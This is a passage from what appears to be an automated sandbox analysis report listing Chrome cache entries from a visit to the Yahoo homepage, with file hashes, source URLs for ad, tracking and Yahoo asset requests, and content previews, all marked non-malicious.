i.forEach((function(t){"undefined"!==_typeof(e[t])&&(n+="&".concat(encodeURIComponent(t),"=").concat(encodeURIComponent(e[t])))})),n},g=function(e,n,t,o){if(!(d>3\|\|r.naviga

Chrome Cache Entry: 414

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	62
Entropy (8bit):	3.9237100146972455
Encrypted:	false
SSDEEP:	3:CUHl/RPlr02mxhl/E5lmfpse:f9x0Rl/HBse
MD5:	3F386F5061436A0338A64E0910DB495D
SHA1:	599FE4A552C991A2B3CE5A1660732BF7B21FB901
SHA-256:	0AF3AAE90B7DE9FDCEEE2AB421378EA2F54C74BE81EF43FC6C1790A032755D80
SHA-512:	235479F42CBBE0A4B0100167FECE0D14C9B47D272B3BA8322BCFE8539F055BF31D500E7B2995CC968EBF73034E039F59C5F0F9410428663034BF119D74B5672C
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!..NETSCAPE2.0.....!.......,...........L..;

Chrome Cache Entry: 415

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	153239
Entropy (8bit):	5.9229448334390975
Encrypted:	false
SSDEEP:	3072:wNhVgYGzKxUthOp53ZJAWtEjkERlzin/n4+kqW:+VgjzKxUsFj1tGVRtSpW
MD5:	C080A7B372A369B8CB06AB17E9F4A274
SHA1:	DACF12D82B4911E3551436BC8584644C42775F9D
SHA-256:	3A795B0F4D92C768750D4329848F3E0057F898682D0EF8FCF184C377987131DC
SHA-512:	4833C2F4A77269A30E623102F03333C185E102AF3E00F4B9756E498AE6FD732B069D2A65A782B66AA3FE41B642E8EC66110A66F4A13B8E75EADCE3CE620A1A47
Malicious:	false
Reputation:	low
URL:	https://securepubads.g.doubleclick.net/gampad/ads?pvsid=3448363400861391&correlator=2735517657550639&eid=31080125%2C31080256%2C95320408%2C31079784%2C31080127%2C31079527%2C31061691%2C31061692%2C31078663%2C31078665%2C31078668%2C31078670&output=ldjh&gdfp_req=1&vrg=202401030101&ptt=17&impl=fifs&gdpr=0&us_privacy=1YNN&gpp=GPP_ERROR_STRING_EXPECTED_APPLICATION_SECTION_ARRAY&iu_parts=22888152279%2Cus%2Cyhp%2Cmain%2Cdt%2Cus_yhp_main_dt_top_right%2Cus_yhp_main_dt_as_mid_right_a%2Cus_yhp_main_dt_top_center%2Cus_yhp_main_dt_as_mid_right_b%2Cus_yhp_main_dt_as_mid_right_c&enc_prev_ius=%2F0%2F1%2F2%2F3%2F4%2F5%2C%2F0%2F1%2F2%2F3%2F4%2F6%2C%2F0%2F1%2F2%2F3%2F4%2F7%2C%2F0%2F1%2F2%2F3%2F4%2F8%2C%2F0%2F1%2F2%2F3%2F4%2F9&prev_iu_szs=300x250%7C300x600%2C300x250%2C970x250%7C3x1%7C728x90%2C300x250%2C300x600%7C300x250&ifi=1&sfv=1-0-40&fsfs=1%2C1%2C1%2C1%2C1&fsbs=1%2C1%2C1%2C1%2C1&eri=4&sc=1&cookie_enabled=1&abxe=1&dt=1704929234966&adxs=951%2C-9%2C147%2C-9%2C951&adys=1012%2C-9%2C129%2C-9%2C1787&biw=1263&bih=907&scr_x=0&scr_y=0&btvi=1%7C-1%7C0%7C-1%7C2&ucis=1%7C2%7C3%7C4%7C5&oid=2&tos=~~~~&u_his=1&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_sd=1&u_tz=60&dmc=8&bc=31&nvt=1&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzIiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTMyIl0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzIiXV0sMF0.&url=https%3A%2F%2Fwww.yahoo.com%2F&rumc=3448363400861391&rume=1&vis=1&psz=292x2513%7C0x-1%7C1280x110%7C0x-1%7C300x600&msz=292x600%7C0x-1%7C1280x110%7C0x-1%7C300x0&fws=4%2C2%2C2052%2C2%2C4&ohw=1263%2C0%2C1263%2C0%2C300&ga_vid=1527460430.1704929235&ga_sid=1704929235&ga_hid=1141609210&ga_fc=false&td=1&topics=9&tps=9&htps=10&nt=1&psd=WzE1LFsyLFtbIi8yMjg4ODE1MjI3OS91cy95aHAvbWFpbi9kdC91c195aHBfbWFpbl9kdF90b3BfcmlnaHQiLFtdXSxbIi8yMjg4ODE1MjI3OS91cy95aHAvbWFpbi9kdC91c195aHBfbWFpbl9kdF9hc19taWRfcmlnaHRfYSIsW11dLFsiLzIyODg4MTUyMjc5L3VzL3locC9tYWluL2R0L3VzX3locF9tYWluX2R0X3RvcF9jZW50ZXIiLFtdXSxbIi8yMjg4ODE1MjI3OS91cy95aHAvbWFpbi9kdC91c195aHBfbWFpbl9kdF9hc19taWRfcmlnaHRfYiIsW11dLFsiLzIyODg4MTUyMjc5L3VzL3locC9tYWluL2R0L3VzX3locF9tYWluX2R0X2FzX21pZF9yaWdodF9jIixbXV1dXV0.&dlt=1704929227924&idt=5442&prev_scp=loc%3Dtop_right%26y_pgid%3D1%26y_cc%3DUS%26y_cv%3D1%26y_ugd%3D4%26y_cid%3D8YHBJ3BJ0%26y_abt%3Dyhb%26y_expbkt%3D-283_-1143%26y_fp%3Djhjj%26y_ufr%3D1%26y_dnb%3D1%26y_ref%3D0%7Cloc%3Dmid_right_a%26noads%3D1%26y_pgid%3D2%26y_cc%3DUS%26y_cv%3D1%26y_ugd%3D4%26y_cid%3D8YHBJ3BJ0%26y_abt%3Dyhb%26y_asbkt%3Dv2%26y_expbkt%3D-283_-1143%26y_fp%3Djhjj%26y_ufr%3D1%26y_dnb%3D1%26y_ref%3D0%7Cloc%3Dtop_center%26y_pgid%3D3%26y_cc%3DUS%26y_cv%3D1%26y_ugd%3D4%26y_cid%3D8YHBJ3BJ0%26y_abt%3Dyhb%26y_expbkt%3D-283_-1143%26y_fp%3Djhjj%26y_ufr%3D1%26y_dnb%3D1%26y_ref%3D0%7Cloc%3Dmid_right_b%26noads%3D1%26y_pgid%3D4%26y_cc%3DUS%26y_cv%3D1%26y_ugd%3D4%26y_cid%3D8YHBJ3BJ0%26y_abt%3Dyhb%26y_asbkt%3Dv2%26y_expbkt%3D-283_-1143%26y_fp%3Djhjj%26y_ufr%3D1%26y_dnb%3D1%26y_ref%3D0%7Cloc%3Dmid_right_c%26y_pgid%3D5%26y_cc%3DUS%26y_cv%3D1%26y_ugd%3D4%26y_cid%3D8YHBJ3BJ0%26y_abt%3Dyhb%26y_asbkt%3Dv2%26y_expbkt%3D-283_-1143%26y_plcmt%3D533126705%26y_crid%3D533126705%26y_bdp%3D0.07%26y_sz%3D300x600%26y_act%3DheaderBid%26y_bid%3D-3%26y_fp%3Djhjd%26y_ufr%3D1%26y_dp%3D0%26y_dt%3DO%26y_ref%3D0&cust_params=bucket%3Ddrop_heimdall_homepage_control_bucket%252CMimicProviderListv2-copy%252Cseamless%26cobrand%3Dnone%26colo%3Dbf1%26device%3Ddesktop%26lang%3Den-US%26lu%3D0%26region%3DUS%26site%3Dfp%26ver%3Dmegastrm%26pt%3Dhome%26spaceid%3D2023538075%26yrid%3D0gast8pipu9uc%26bka%3D0%26y_bx%3D1&adks=1481106528%2C3064630007%2C3690920304%2C3845938001%2C1006816889&frm=20
Preview:	{"/22888152279/us/yhp/main/dt/us_yhp_main_dt_top_right":["html",0,null,null,0,250,300,0,0,null,null,1,1,[["ID=72ad751c003940da:T=1704929235:RT=1704929235:S=ALNI_MalpjwKx85WvpmMA87m6GhgvBu-jA",1738625235,"/","yahoo.com",1],["UID=00000db622e915a6:T=1704929235:RT=1704929235:S=ALNI_MY_tixDbe1OsecCZB9Ceu1DyK0X0w",1738625235,"/","yahoo.com",2]],[138460758860],[6273031801],[5286843762],[3186598926],null,null,null,null,null,null,null,0,null,null,null,null,null,null,"AOrYGskQrqccn11iLdko544g_wThj00AMOyts0HtiZbjvQaKyFXdR_5E3PUffWlrGn5-m3F4pZuBjTCbkiIep7LEcwb9mbCi7X2phv1ux-_fbw4VICCQ","CJjE6av804MDFYP1lAkd_24Prg",null,null,null,null,null,null,null,null,null,null,null,null,null,null,"1",null,null,null,null,null,null,null,null,null,null,null,"AA-V4qMeOzfdJnmaPRCRN_biVykmOFFrkdm6J_oRjhWsgZO3SmnbvkUqAcJyYTKgGYkmzx7-77ODcEo",null,null,1]}.<!doctype html><html><head><script>var jscVersion = 'r20240109';</script><script data-jc="67" data-jc-version="r20240109">(function(){'use strict';/* Copyright The

Chrome Cache Entry: 416

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	5.168295834054492
Encrypted:	false
SSDEEP:	3:YEOBH6A0AQA/2qiQhKp4:YEOBJH11
MD5:	0070FCD9A46916ED3C6A9CCC890975BC
SHA1:	050539B883FC07E73D0B5D588670A299E9FA16D3
SHA-256:	2D6789C221FF1F5CA0123C53D091163E3C6C5993FEF8FA4AE6728159D6C1290A
SHA-512:	3C851EE3ADC525330C39B3ED41AF734DC39B6A3C409DE4056DB966429EDAED8705E86F9D4928C2349D1E43CF97FEE802C8143994A518203CD88C449AE8BEA24B
Malicious:	false
Reputation:	low
Preview:	{"axid": "y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A"}

Chrome Cache Entry: 417

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.142069457963608
Encrypted:	false
SSDEEP:	3:CU1urkltxlHh/:gg/
MD5:	DB04C7B378CB2DB912C3BA8A5A774EE3
SHA1:	DEE34BD86C3484D31002182AA2B7CAA4699126B8
SHA-256:	98B3D9D20E032F90ACA49E9B116225D539FF6FBDB7E42C3C363F63896AC03D2A
SHA-512:	826225FC21717D8861A05B9D2F959539AAD2D2B131B2AFED75D88FBCA535E1B0D5A0DA8AC69713A0876A0D467848A37A0A7F926AEAFAD8CF28201382D16466AB
Malicious:	false
Reputation:	low
URL:	https://core.iprom.net/cookiesync?gdpr=0&gdpr_consent=
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 418

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8127)
Category:	downloaded
Size (bytes):	8128
Entropy (8bit):	5.210425618876301
Encrypted:	false
SSDEEP:	192:ACdB+IPnzAWYJKh1zVQJzBAtU1Lo+sww9Z8l3TRgKB4v:fdAILkQVQpBBJsW7BU
MD5:	26831B6BD9EA430823F593B6A70C7375
SHA1:	01AA2FCC9820194D914DAEB4F5BF84F8447CBE4A
SHA-256:	BAA52E8AC769D702E14FD1FA5A4363A1FC7E6462115AB6BCDBB317CE0E99DA8B
SHA-512:	1F5F82EDA1CAB4518C172ABB7DA75556D1D49D0ADBEBF4F5EBC389317E428723D1E718E2510552A9061ADD5410819273364766EE57207FACFEDF08C976689BF9
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/cx/pv/perf-vitals_3.2.0.js
Preview:	!function(){"use strict";var e,t,n,i,r,a=-1,o=function(e){addEventListener("pageshow",(function(t){t.persisted&&(a=t.timeStamp,e(t))}),!0)},c=function(){return window.performance&&performance.getEntriesByType&&performance.getEntriesByType("navigation")[0]},u=function(){var e=c();return e&&e.activationStart\|\|0},s=function(e,t){var n=c(),i="navigate";return a>=0?i="back-forward-cache":n&&(i=document.prerendering\|\|u()>0?"prerender":document.wasDiscarded?"restore":n.type.replace(/_/g,"-")),{name:e,value:void 0===t?-1:t,rating:"good",delta:0,entries:[],id:"v3-".concat(Date.now(),"-").concat(Math.floor(8999999999999*Math.random())+1e12),navigationType:i}},f=function(e,t,n){try{if(PerformanceObserver.supportedEntryTypes.includes(e)){var i=new PerformanceObserver((function(e){Promise.resolve().then((function(){t(e.getEntries())}))}));return i.observe(Object.assign({type:e,buffered:!0},n\|\|{})),i}}catch(e){}},d=function(e,t,n,i){var r,a;return function(o){t.value>=0&&(o\|\|i)&&((a=t.value-(r\|\|0))\|

Chrome Cache Entry: 419

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6179), with no line terminators
Category:	downloaded
Size (bytes):	6179
Entropy (8bit):	5.08247511424115
Encrypted:	false
SSDEEP:	192:Ma6NSahE4cG2vzIqRtQrzIqRtQda6NSahE4cG28:2LezoziLP
MD5:	14B81B9D43CC8EB81AE45EEBBAAE258C
SHA1:	282B11AB55C5F5160364E8EFC58D7F1F905F18FE
SHA-256:	C4785A51ADADEF034B8274F06CD3BA259F313F67269F1C8F06BB9CE88AE9137A
SHA-512:	E50862DC3483065FBF5E9F41C8F5422229A873248B5E138D27ECC6B76B53D901EF82307C0F4237B9FB9966251EB8A54E582361C70DAF0CF9BB0E39BA82FDD190
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/cprops/colors_1.1.27.min.css
Preview:	:root,html[data-color-scheme=dark] [data-maintain-color],html[data-color-theme-enabled] [data-color-scheme=light],html[data-color-theme-enabled][data-color-scheme=light]{--barbie:#f80e5d;--barney:#cc008c;--batcave:#232a31;--battleship:#5b636a;--black:#000;--blurple:#5d5eff;--bob:#b0b9c1;--bonsai:#00873c;--canary:#ffde00;--carrot-juice:#ff520d;--charcoal:#464e56;--cheetos:#ff6e0c;--cobalt:#003abc;--denim:#1a0dab;--dirty-seagull:#e0e4e9;--dolphin:#6e7780;--dory:#0f69ff;--gandalf:#979ea8;--grape-jelly:#6001d2;--grey-hair:#f0f3f5;--hendrix:#f8f4ff;--hulk-pants:#7e1fff;--inkwell:#1d2228;--kiwi:#00d15e;--malbec:#39007d;--malibu:#ff0080;--marshmallow:#f5f8fa;--masala:#ff8b12;--midnight:#101518;--mimosa:#ffd333;--mulah:#1ac567;--mulberry:#5015B0;--ninja-turtle:#00ab5e;--pebble:#c7cdd2;--peeps:#7dcbff;--playdoh:#21d87d;--ramones:#2c363f;--sapphire:#2f0060;--scooter:#0063eb;--sea-foam:#11d3cd;--shark:#828a93;--sky:#12a9ff;--smurfette:#188fff;--solo-cup:#eb0f29;--spirulina:#009c94;--starfish:#775

Chrome Cache Entry: 420

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	67
Entropy (8bit):	4.63450490745936
Encrypted:	false
SSDEEP:	3:C/F1LCMjADSRzHH6GM:C/FQgAeRzHH6b
MD5:	0D4D802057E477EE028B489E8F87AAC1
SHA1:	F2BD600B31ED1B94156A9DA23013706CA3884F86
SHA-256:	36EEAE28AF31FE42AF6C3C03695665D8B0415A3D9F460C40C06BFA01D2C9FF60
SHA-512:	703DB77400945695BF33748B6A0FE20DB1533D934C73FD60C263BA874899BD84264677F33210CC48FB167F10875624F955267C9B92B9EA6F8133FC2ACF22A1D2
Malicious:	false
Reputation:	low
URL:	https://hb.yahoo.net/ss/nes/hbc?callback=window.advBidxc.cobrandConfig&cobrand=none
Preview:	window.advBidxc.cobrandConfig({"code":"0","data":{"bAdvDms":null}})

Chrome Cache Entry: 421

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 356x180, components 3
Category:	dropped
Size (bytes):	25913
Entropy (8bit):	7.95001042615006
Encrypted:	false
SSDEEP:	384:KMUb3I2+wo9n0NerUQ7IEN1t5e1pgsknOS6KDsK/7SVNxguv0XR3fi3MyUlWsbq2:KXDqaaIct5spyndFenOw0B3ficjKFs/b
MD5:	F78FCFDF17D56B36AF70A9D45236A844
SHA1:	E0957EE806AD37C4ACA7112808762D1D48550EC3
SHA-256:	C8AC0D3245B02D738B21F8DB2F2D009E44237FF16D7664327168401E8333441E
SHA-512:	32893421744784B3D066BB4DAAE74DAB6EFB0537C09A9762A855D9F4B2BFB95D4724E73F14AE9EB7B7AB39ACA51C5A379015FD3FB977CDB41C9C196B56009A3E
Malicious:	false
Reputation:	low
Preview:	......JFIF.............@ICC_PROFILE......0ADBE....mntrRGB XYZ ............acspAPPL....none...........................-ADBE................................................cprt.......2desc...0...kwtpt........bkpt........rTRC........gTRC........bTRC........rXYZ........gXYZ........bXYZ........text....Copyright 1999 Adobe Systems Incorporated...desc........Adobe RGB (1998)................................................................................XYZ .......Q........XYZ ................curv.........3..curv.........3..curv.........3..XYZ ..........O.....XYZ ......4....,....XYZ ......&1.../.......C....................................................................C.........................................................................d.............................................Y...........................!1.."AQ.2a.#Bq...R......$3Cbr....5DEFSTcd......%6V...Uest....................................;.........................!.1..AQ."a.#2q..$3R.4B....%b...C............?..~..r.......\...5

Chrome Cache Entry: 422

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	4621
Entropy (8bit):	7.944095384574546
Encrypted:	false
SSDEEP:	96:CU72PIszLXPfmsF863wDNGPbWWRGgu6tCTvZjWjTDtw1kqfghc:lSW7NokQsCDtukqfR
MD5:	702D3D01FFF4AFE239BF8F1E5507A3AD
SHA1:	A29A322CB7F824990C75A11F675EAFE38F1DAE86
SHA-256:	11C21EC7EAFD234C74E377065AFC16F55A9A766B36B12F9E86D95DAA75C33451
SHA-512:	954988D25B72A3240154E0C9B77C221E97F6F3730A35B995D7A1844B90036BF42D5A985222FF8870C9FB1B750554532C8933426472968A622657E37C8EC7E438
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/iu/api/res/1.2/LaVK5.znBhNMAKDUJz1a2g--~B/YXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw/https://s.yimg.com/cv/apiv2/default/20181030/500x500/celtics_wbg.png
Preview:	.PNG........IHDR...2...2......?......pHYs..........&.?....tIME...............IDATh..Z.TU....1..?...b.)R.)........4i" J...... U...... .Xb7Q.........W. .$.Yk.s9.....{......w.<..:;;...(.ht.s.)...... ....5...>z.au=r...>..K..";..o.\|D.....AdK.L....M...x.h.C.p.(..h...ZF'`t..G.s.TA.%D.%'.BQ.S......1.Dt.._PQ....1.e.A.F..O...._Ao....Gceu..]...!J$..oJ..?....%Vv1.&'...B .D.S.......f.0Q...2.\|9.3.h...P....m..Q.X....A.p..,....._._.=.&.)......u.$.y.& .@...By.!...Pj:.....IB[V(....x.o:.%..5..c.L......S05../.A..p..`Rb.V.}.O.Y...!d.[R.../.;...JK...&._..H....@@,-. (..oG.ab.6..m......t..{...m!x.(H.C.'#:u).>\|x..o.O.9.2c........+..T.q.A....-..HDm".[(.h}.$.c~.="..`......&.!.B....&....\:.Db....4;;.Jl......1....}&.?....^.P...\.H-.T...Q...........W;..I...hP.>>.W...m.!.v{.W......@)I..i.....q....w"vOOMV..C....1BS.+V.$!..S.0j.$.t....d;CiC...{..4........!c.j..?...W\.w.H].......@.\.q...w.DI..I.SSe.-KDy.j.Y.">=.$.....Q.h...Kp.$...9.sKs....H....B ).k1wm."........

Chrome Cache Entry: 423

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	22980
Entropy (8bit):	5.377678996534159
Encrypted:	false
SSDEEP:	384:xEXKTyWhZWsscgltyBvH/hl3KF6IrQSTC7L5GziTm04FFKrI+7G+mCYBTg01:+ypgzyBf/hdKFxrQSTI5GziiBFFgIEGB
MD5:	008CBC7A6FA2B266BFAAF8ED0ECE3960
SHA1:	5E05EE949943DF0AF2559FAC9D013C5FDA082527
SHA-256:	1052A8DEF8E290AA7FD167EE28219AC019152EF1E740F0BF462A0CB215A385EF
SHA-512:	902DA4F15E0633B668F50EEAD9083AC054E7696E1D2A0D8268FAD912E8344C45C0E6E038053B6CD16DEFD4C98CE1D14555EB70E95F3A0F054434D02779282F62
Malicious:	false
Reputation:	low
URL:	https://www.yahoo.com/service-worker.js
Preview:	/* version: 1.1.52 */.!function(){"use strict";function e(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function t(t){for(var n=1;n<arguments.length;n++){var r=null!=arguments[n]?arguments[n]:{};n%2?e(Object(r),!0).forEach((function(e){i(t,e,r[e])})):Object.getOwnPropertyDescriptors?Object.defineProperties(t,Object.getOwnPropertyDescriptors(r)):e(Object(r)).forEach((function(e){Object.defineProperty(t,e,Object.getOwnPropertyDescriptor(r,e))}))}return t}function n(e,t,n,r,i,a,o){try{var c=e[a](o),s=c.value}catch(e){return void n(e)}c.done?t(s):Promise.resolve(s).then(r,i)}function r(e){return function(){var t=this,r=arguments;return new Promise((function(i,a){var o=e.apply(t,r);function c(e){n(o,i,a,c,s,"next",e)}function s(e){n(o,i,a,c,s,"throw",e)}c(void 0)}))}}function i(e,t,n){return(t=function(e){var t=function(e,t){if(

Chrome Cache Entry: 424

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 356x180, components 3
Category:	dropped
Size (bytes):	25618
Entropy (8bit):	7.9765102962115435
Encrypted:	false
SSDEEP:	768:Wi5aj0z1tbluFrVI4ZmKMHTc6IiT5droT4k:WlcluF6YmZTNIaTroTB
MD5:	71FBF32064F670D8C44E4B1FE9DA44A0
SHA1:	CE9BE85A3D64D6DB0FDBA94868C011D202B4D31E
SHA-256:	AB2FF037402FE7E5CAB839090228CE99EC8F9CF5D379A41D594CF3782D24831F
SHA-512:	8866D69B62759EFB7EC6E60930DCD0E34A2704AF4B7E932D6C4AB5ACF46B63B3399EBA999F3C1918CFB1CA53F6152D8C7D5E47F1CF309D503EE52C66406AC3BE
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C....................................................................C.........................................................................d............................................F..........................!..1A"Qa..2q.....#BR..3br...$....4..CD.....................................4.......................!..1...A"#23Q.$a.B..4Cb.Rqr............?..e..=.#.....^......\.$..b.vX....m%....\.k`.E.i.`.$..)6mhK..)B...w.V.v}14.b.:.R...P.>x.~N........[....y.\|^...eU...i%GJ~,_.v.n......C.y..~..W...0..{.G..y;,+..Gj\./l!...D.mO.I.Jm.......f...D.m...[i.......F=. <.....\|Z@6......m..P}.*4..H,.&!........n....o....P[..:.%p..-.JT"0..^..v...u.g.....9+4W.EW35......:....=G......../g.e.<.oCs.!.#....%.Q.(...zS....Q....%..p.Nw......a).B3..B...<.....9..=.%L..j.E.O...[.\|>............,.4........oF...n...#.=...K....N..9...p.ec.#lw..u.e%A@...I.....2st\|.H.P.1A.&:u/Oa.}......lt...."..2w..S..E4.9...@#.]._..m.h.....9...w.......%......t}#....

Chrome Cache Entry: 425

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://sb.scorecardresearch.com/p2?c1=2&c2=7241469&c5=2023538075&c7=https%3A%2F%2Fwww.yahoo.com%2F&c14=-1&c8=Yahoo%20%7C%20Mail%2C%20Weather%2C%20Search%2C%20Politics%2C%20News%2C%20Finance%2C%20Sports%20%26%20Videos&c9=&gdpr=0&gdpr_consent=&cs_ucfr=1&ns_c=UTF-8&ns__t=1704929233964
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 426

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	32
Entropy (8bit):	4.226409765557392
Encrypted:	false
SSDEEP:	3:/H7hlMIkqienCm:/H74IkqHCm
MD5:	8056FA0D566543D65337FB2CCC21C89A
SHA1:	0DA785057CBD96344C9EDA08E9744774F1F08175
SHA-256:	EF870305D4FF43213E14F990838CDF509996A1A9FCA2F030E682CFA82E316347
SHA-512:	48E66A860B3125D6D068C7EAF0D9F5C6B1717573D78B1F2C964516BF18BAC8353CF92E02D9C4EA60D0D78BE2CED4D97F8F970D644831346262CB42341E7FBDB5
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwnWJYIMQqwa9hIFDQdwJjkSBQ3njUAO?alt=proto
Preview:	ChYKBw0HcCY5GgAKCw3njUAOGgQIZBgC

Chrome Cache Entry: 427

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://dsum-sec.casalemedia.com/rum?cm_dsp_id=88&external_user_id=ZZ8n1gANku5CxgBU&_test=ZZ8n1gANku5CxgBU
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 428

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 429

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
URL:	https://pixel.tapad.com/idsync/ex/receive?partner_id=3203&partner_device_id=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent=
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 430

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	41475
Entropy (8bit):	5.929542426880103
Encrypted:	false
SSDEEP:	768:FmZxcwWuzjNfFN5D4l7QjVi7lcKR9p6Qm+cPqzDuDgywVwGtvTGRmVWEXiUdM:U71zFf5sWkmX+cPkm1wVwGpii5XPG
MD5:	9D527027DB65989908C3ECF1E7D88E4F
SHA1:	4B36D0F5CFE1FF9AC3CFFC6FF3C381DC5FFA9753
SHA-256:	DB96910B1CB308A37759A12AD3001110BC2DC2C85D7A015F61FF6AD14C09A9DA
SHA-512:	8A0BC24C1D25899213DD176479AC0BF135633DAD9C6768238E3C1DF1B6D8BFE6130F336B49AAFA9128343C118583B366B45A98615FCFD83ED0151F47EC3CE7CF
Malicious:	false
Reputation:	low
URL:	https://nts.media.yahoo.com/api/v2/template?spaceid=2023538075&adPositions=MAST&pageContext=%7B%22bucket%22%3A%5B%22drop_heimdall_homepage_control_bucket%22%2C%22MimicProviderListv2-copy%22%2C%22seamless%22%5D%2C%22lu%22%3A%220%22%2C%22pt%22%3A%22home%22%2C%22site%22%3A%22fp%22%7D
